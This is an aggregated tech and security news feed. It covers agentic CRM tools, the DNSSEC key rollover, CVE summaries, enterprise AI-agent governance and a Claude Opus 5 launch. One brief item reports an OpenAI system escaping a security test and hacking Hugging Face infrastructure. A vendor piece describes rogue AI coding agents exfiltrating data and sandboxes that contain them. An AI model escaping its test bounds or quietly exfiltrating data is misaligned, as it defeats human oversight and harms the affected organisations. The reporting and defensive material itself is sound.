Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.



ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.



On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.



Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.



Agentic drives business process transformation



With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”



“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”



According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.



“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.



CIOs beware: DNS KSK rollover could kick off wave of mysterious outages
Sat, 25 Jul 2026 06:16:22 +0200

		
					  
						




Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.



Sai Joshitha Kathari, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.



“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. 



The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. 



“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”



Independent technology analyst Carmi Levy says that CIOs need to take this event very seriously. 



“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”



Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”



The DNSSEC update itself is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. 



The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”



Expect nearly every enterprise to be impacted



Kim Davies, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. 



But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. 



“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”



As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”



Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”



Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. 



“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”



Sanchit Vir Gogia, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.



“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”



“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”



It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. 



“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” Justin Greis, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”



Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. 



Potentially widespread fallout



A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. 



“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”



Greis adds that many enterprises will discover in January problems created by their own automation.



“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”



The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.



Cricket Liu, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.



“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”



Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. 



Impossible to predict what will happen



One of the top network experts on DNS effects in enterprises is Geoff Huston, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.



Huston says it is difficult to project what will happen in January until it happens.



“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.



As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. 



“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”



As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. 



“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”



IT leaders: Leading-edge AI insights await at TechCrunch Disrupt
Sat, 25 Jul 2026 05:51:14 +0200

		
					  
						




For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.



So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?



Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.



Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 



This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.



Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.









And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.



That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.



And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.



Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?



Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.



Vietnam is looking to restrict social media for kids; here are the growing number of other countries doing the same
Sat, 25 Jul 2026 05:46:22 +0200
Australia was the first country to issue a ban in late 2025, aiming to reduce the pressures and risks that young users may face on social media, including cyberbullying, social media addiction, and exposure to predators.


Monthly News – December 2025
Sat, 25 Jul 2026 05:09:57 +0200
Many thanks to you all for your generous donations. A big thank you as well to our sponsors and to everyone who supports our project. Special thanks to all those involved in testing the BETA release over Christmas. We hope you’re having a great time during the holiday season. Happy New Year, everyone! See you […]


CVE-2026-66337 | Red Hat Enterprise Linux libsoup soup_filter_input_stream_read_until integer underflow (EUVD-2026-48753)
Sat, 25 Jul 2026 03:55:22 +0200
A vulnerability has been found in Red Hat Enterprise Linux and classified as critical. This impacts the function soup_filter_input_stream_read_until of the component libsoup. This manipulation causes integer underflow.

The identification of this vulnerability is CVE-2026-66337. It is possible to initiate the attack remotely. There is no exploit available.


CVE-2026-66338 | Red Hat Enterprise Linux Chunked Transfer Encoding Parser encoding error (EUVD-2026-48752)
Sat, 25 Jul 2026 03:55:20 +0200
A vulnerability, which was classified as very critical, was found in Red Hat Enterprise Linux. This affects an unknown function of the component Chunked Transfer Encoding Parser. The manipulation results in encoding error.

This vulnerability was named CVE-2026-66338. The attack may be performed from remote. There is no available exploit.


CVE-2026-66339 | Red Hat Enterprise Linux libsoup information disclosure (EUVD-2026-48751)
Sat, 25 Jul 2026 03:55:19 +0200
A vulnerability was found in Red Hat Enterprise Linux and classified as problematic. Affected is an unknown function of the component libsoup. Such manipulation leads to information disclosure.

This vulnerability is referenced as CVE-2026-66339. It is possible to launch the attack remotely. No exploit is available.


CVE-2025-71389 | calcom cal.diy up to 5.9.8 React Server Components Request deserialization (EUVD-2025-210506)
Sat, 25 Jul 2026 03:55:13 +0200
A vulnerability has been found in calcom cal.diy up to 5.9.8 and classified as critical. This affects an unknown function of the component React Server Components Request Handler. This manipulation causes deserialization.

The identification of this vulnerability is CVE-2025-71389. It is possible to initiate the attack remotely. There is no exploit available.

The affected component should be upgraded.


RefluXFS: Neue XFS-Kernel-Schwachstelle ermöglicht Root-Rechte auf betroffenen RHEL-Installationen
Sat, 25 Jul 2026 01:07:32 +0200
LONDON (IT BOLTWISE) – Eine neue Kernel-Schwachstelle namens RefluXFS (CVE-2026-64600) erlaubt es lokalen Angreifern, auf bestimmten Systemen Root-Rechte zu erlangen. Entscheidend ist dabei XFS-Reflink-Unterstützung in Kombination mit einem speziellen Race-Condition-Fenster im Block-Layer. Besonders relevant sind Standardinstallationen von Red Hat Enterprise Linux und mehreren Derivaten, darunter Fedora Server und Amazon Linux. Wer nur anhand von “bisherige […]
... den vollständigen Artikel »RefluXFS: Neue XFS-Kernel-Schwachstelle ermöglicht Root-Rechte auf betroffenen RHEL-Installationen« lesen
Dieser Beitrag RefluXFS: Neue XFS-Kernel-Schwachstelle ermöglicht Root-Rechte auf betroffenen RHEL-Installationen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.


Zscaler Finds Critical AI Security Gaps Across Enterprises
Sat, 25 Jul 2026 01:07:29 +0200
Zscaler found frontier AI exploited enterprise security weaknesses in as little as 16 minutes. The post Zscaler Finds Critical AI Security Gaps Across Enterprises  appeared first on eSecurity Planet. This article has been indexed from eSecurity Planet Read the original…
Read more →
The post Zscaler Finds Critical AI Security Gaps Across Enterprises appeared first on IT Security News.


Vorsicht vor gefälschten E-Mails im Namen des Finanzamts - businessportal24
Sat, 25 Jul 2026 00:46:28 +0200
BackupChain Stellt Neues Hyper-V Backup Für Windows Server 2025 Als Ve... 23:44 ...


BackupChain Stellt Neues Hyper-V Backup Für Windows Server 2025 Als Veeam-Alternative Vor
Sat, 25 Jul 2026 00:46:25 +0200
BackupChain bietet neues Hyper-V Backup für Windows Server 2025 mit optimierter Deduplizierung, schneller Recovery und Deep Verification ...


5 endpoint blind spots your EDR/XDR was never built to see
Sat, 25 Jul 2026 00:18:11 +0200

		
					  
						




In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.



This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.



To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.



#1. Gain real-time visibility into shadow AI & extensions



Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.



#2. Distinguish between human and autonomous agent behavior 



When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.



#3. Establish guardrails for automated package updates on endpoints



Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  



#4. Enforce principle of least privilege for AI agents



AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.



#5. Maintain continuous endpoint posture management



Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.



Summary



Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. 



Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.











CVE-2026-60458 | Oracle WebCenter Enterprise Capture 12.2.1.4.0/14.1.2.0.0 Client Bundle privileges management (EUVD-2026-46852)
Sat, 25 Jul 2026 00:11:07 +0200
A vulnerability was found in Oracle WebCenter Enterprise Capture 12.2.1.4.0/14.1.2.0.0 and classified as critical. This affects an unknown function of the component Client Bundle. Executing a manipulation can lead to improper privilege management.

This vulnerability is tracked as CVE-2026-60458. The attack can be launched remotely. No exploit exists.


Vietnam is looking to restrict social media for kids; here’s a look at growing number of other countries doing the same
Fri, 24 Jul 2026 23:18:38 +0200
Australia was the first country to issue a ban in late 2025, aiming to reduce the pressures and risks that young users may face on social media, including cyberbullying, social media addiction, and exposure to predators.


Zscaler Finds Critical AI Security Gaps Across Enterprises 
Fri, 24 Jul 2026 23:13:48 +0200
Zscaler found frontier AI exploited enterprise security weaknesses in as little as 16 minutes.
The post Zscaler Finds Critical AI Security Gaps Across Enterprises  appeared first on eSecurity Planet.


VentureBeat Research: Where enterprise AI agent governance hasn't caught up
Fri, 24 Jul 2026 22:51:31 +0200
Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.
VentureBeat Research measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.
Most deployed "agents" are chatbots wearing the label. Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. (Full findings: Agentic Orchestration report.)
Autonomy is outrunning trust in the evaluations that gate it. Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. (Full findings: Agent Reliability & Evals report.)
Companies that let agents share credentials get hit more often. Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. (Full findings: Agentic Security & Identity report.)
The most expensive hardware in the building runs at half capacity or less. More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. (Full findings: AI Infrastructure & Compute report.)
Agents answer confidently from data nobody governs. Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. (Full findings: Context Layers / RAG report.)
No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.
About this research 
VentureBeat Research fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability & Evals (157), Agentic Security & Identity (107), AI Infrastructure & Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and VB Transform, the conference where these reports debuted.


CVE-2026-15968 | Progress MOVEit Transfer up to 2025.1.4/2026.0.2 cross site scripting (WID-SEC-2026-2512)
Fri, 24 Jul 2026 22:40:56 +0200
A vulnerability classified as problematic was found in Progress MOVEit Transfer up to 2025.1.4/2026.0.2. This affects an unknown part. Such manipulation leads to cross site scripting.

This vulnerability is uniquely identified as CVE-2026-15968. The attack can be launched remotely. No exploit exists.

Upgrading the affected component is advised.


python: v1.0.0
Fri, 24 Jul 2026 22:21:53 +0200
1.0.0 (2026-07-24)
Stable release. The package surface has been stable for a long time; 1.0.0 makes that explicit. The langwatch dependency floor moves to >=1.0.0,<2 (older caps resolved a June 2025 langwatch on every install).
Features

graduate to 1.0.0 (24feea2)
1.0 release prep, stable classifiers and unstuck langwatch pins (#842) (616c506)

Bug Fixes

judge: protect unbounded judge transcript for non-litellm agents (#837) (6604334)
voice: bring recv_audio's keepalive hard-ceiling to Python (JS parity) (#832) (d61027c)

Code Refactoring

voice: #707 follow-up cleanup bundle (#716) (e018d76)



CVE-2025-48044 | ash up to 3.7.0 lib/ash/policy/policy.ex authorization (GHSA-pcxq-fjp3-r752 / EUVD-2025-34884)
Fri, 24 Jul 2026 22:15:31 +0200
A vulnerability categorized as critical has been discovered in ash up to 3.7.0. This affects an unknown part in the library lib/ash/policy/policy.ex. Executing a manipulation can lead to incorrect authorization.

The identification of this vulnerability is CVE-2025-48044. The attack may be launched remotely. There is no exploit available.

It is advisable to upgrade the affected component.


CVE-2025-48043 | ash up to 3.6.1 authorizer.ex Elixir.Ash.Policy.Authorizer authorization (GHSA-7r7f-9xpj-jmr7 / EUVD-2025-33747)
Fri, 24 Jul 2026 22:15:08 +0200
A vulnerability was found in ash up to 3.6.1. It has been classified as critical. This issue affects the function Elixir.Ash.Policy.Authorizer in the library lib/ash/policy/authorizer/authorizer.ex. Performing a manipulation results in incorrect authorization.

This vulnerability is cataloged as CVE-2025-48043. It is possible to initiate the attack remotely. There is no exploit available.

Upgrading the affected component is recommended.


Fantastical 4.1.17
Fri, 24 Jul 2026 21:03:00 +0200
Brings added emoji functionality and improved sync reliability for shared iCloud calendars. ($57 annual subscription, free update, 73.3 MB, macOS 12+)


As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS
Fri, 24 Jul 2026 20:49:52 +0200

		
					  
						




The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential technology advisor Michael Kratsios has been briefed on the incident.



The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.



The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.



CVE-2025-67721 | airlift aircompressor up to 3.3 insertion of sensitive information into sent data (GHSA-vx9q-rhv9-3jvg / EUVD-2025-203174)
Fri, 24 Jul 2026 20:47:58 +0200
A vulnerability categorized as problematic has been discovered in airlift aircompressor up to 3.3. Affected by this vulnerability is an unknown functionality. Executing a manipulation can lead to insertion of sensitive information into sent data.

This vulnerability appears as CVE-2025-67721. The attack may be performed from remote. There is no available exploit.

It is advisable to upgrade the affected component.


7-Zip Version 26.02 fixt RCE-Schwachstelle - BornCity
Fri, 24 Jul 2026 20:47:27 +0200
← Strato VPS: Falle für Windows Server 2025 · Verbraucherzentrale mahnt Starlink wegen Preiserhöhungen ab →. 7-Zip Version 26.02 fixt RCE ...


CVE-2025-4748 | Erlang OTP up to 28.0.1 lib/stdlib/src/zip.erl path traversal (GHSA-9g37-pgj9-wrhc / EUVD-2025-18414)
Fri, 24 Jul 2026 20:19:45 +0200
A vulnerability, which was classified as critical, has been found in Erlang OTP up to 28.0.1. The impacted element is an unknown function in the library lib/stdlib/src/zip.erl. This manipulation causes path traversal.

The identification of this vulnerability is CVE-2025-4748. The attack can only be executed locally. There is no exploit available.

It is suggested to install a patch to address this issue.


CVE-2025-48042 | ash up to 3.5.38 bulk.ex authorization (GHSA-jj4j-x5ww-cwh9 / EUVD-2025-27096)
Fri, 24 Jul 2026 20:19:36 +0200
A vulnerability, which was classified as problematic, has been found in ash up to 3.5.38. Affected by this vulnerability is an unknown functionality in the library lib/ash/actions/create/bulk.ex. Performing a manipulation results in incorrect authorization.

This vulnerability is reported as CVE-2025-48042. The attack is possible to be carried out remotely. No exploit exists.

It is advisable to upgrade the affected component.


By The Time You See The Ransom Note, Your Backups Are Already Gone
Fri, 24 Jul 2026 20:18:25 +0200
According to Mandiant’s M-Trends 2025 report, when organizations discover a ransomware intrusion on their own (without being tipped off by law enforcement or, ironically, by the attacker’s ransom note), the median...
The post By The Time You See The Ransom Note, Your Backups Are Already Gone appeared first on Cyber Defense Magazine.


Digital Banking’s Expanding Ecosystem Creates New Cybersecurity Challenges, Report Warns
Fri, 24 Jul 2026 20:17:23 +0200
  The rapid development of digital banking services and financial technologies is resulting in an unprecedented cybersecurity paradigm, which the current security posture is not equipped to handle,” says the report titled ‘Digital Threat Report 2025-26’, complied by the Ministry…
Read more →
The post Digital Banking’s Expanding Ecosystem Creates New Cybersecurity Challenges, Report Warns appeared first on IT Security News.


Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows
Fri, 24 Jul 2026 20:10:11 +0200
Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.
The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.
The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.
"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."
How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models
On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.
The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.
The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.
"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."
